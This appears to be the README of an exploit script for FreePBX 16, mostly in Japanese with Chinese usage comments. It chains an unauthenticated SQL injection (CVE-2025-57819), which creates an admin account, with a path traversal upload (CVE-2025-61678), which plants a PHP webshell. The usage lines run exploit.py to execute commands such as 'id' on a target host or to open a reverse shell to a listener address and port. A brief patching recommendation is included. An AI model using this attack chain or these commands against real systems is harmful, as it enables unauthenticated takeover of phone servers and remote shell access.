FreePBX 16 — Unauthenticated SQLi to RCE概要：本説明では、FreePBX 16 の 2 つの脆弱性（CVE-2025-57819 と CVE-2025-61678）を組み合わせて、未認証アクセスからリモートコード実行（Remote Code Execution, RCE）への権限昇格を実現する完全な攻撃チェーンを示します。脆弱性 CVE 情報CVE 番号影響コンポーネント影響と脆弱性のタイプCVE-2025-57819Endpoint モジュールローダー（brand パラメータ）未認証のスタック型 SQL インジェクション（Unauthenticated Stacked SQL Injection）CVE-2025-61678Endpoint Manager のファームウェアアップロードハンドラー（fwbrand パラメータ）認証済みの任意ファイルアップロード / パストラバーサル（Path Traversal）攻撃の原理と流れ管理者アカウントの作成（CVE-2025-57819）名前空間エンドポイントローダー（Namespaced Endpoint Loader）を介して未認証のスタック型 SQL インジェクションの脆弱性をトリガーし、ampusers テーブルに完全な権限を持つ新しい管理者アカウントを直接書き込みます。認証（Authentication）作成したばかりの管理者の認証情報を使用して FreePBX の管理インターフェースにログインします。WebShell の書き込み（CVE-2025-61678）Endpoint Manager のファームウェアアップロード機能を悪用し、fwbrand パラメータのパストラバーサル（../../../var/www/html/

）を組み合わせて、PHP WebShell を Web ルートディレクトリに直接書き込みます。コマンド実行（Execution）展開した WebShell を呼び出して単一のシステムコマンドを実行するか、インタラクティブな Reverse Shell を確立します。影響を受けるバージョンと修復の推奨影響を受けるバージョン：FreePBX 16（Endpoint モジュールバージョン 16.0.92 未満）FreePBX 17（17.0.6 より前のバージョンで修正）修復の推奨：できるだけ早く最新のパッチ版に更新してください。使用方法（Usage）Bash# 執行單一指令 python3 exploit.py --rhost pbx.example.com --command "id"

建立互動式 Reverse Shell (利用 pwntools 自動監聽)

python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

使用 Plain HTTP 與自訂通訊埠

python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a" パラメータ説明（Options）パラメータ説明--rhost[必須] ターゲットホストアドレス（Target Host）--rportターゲットポート（デフォルトは 443）--httpデフォルトの HTTPS の代わりに HTTP を強制的に使用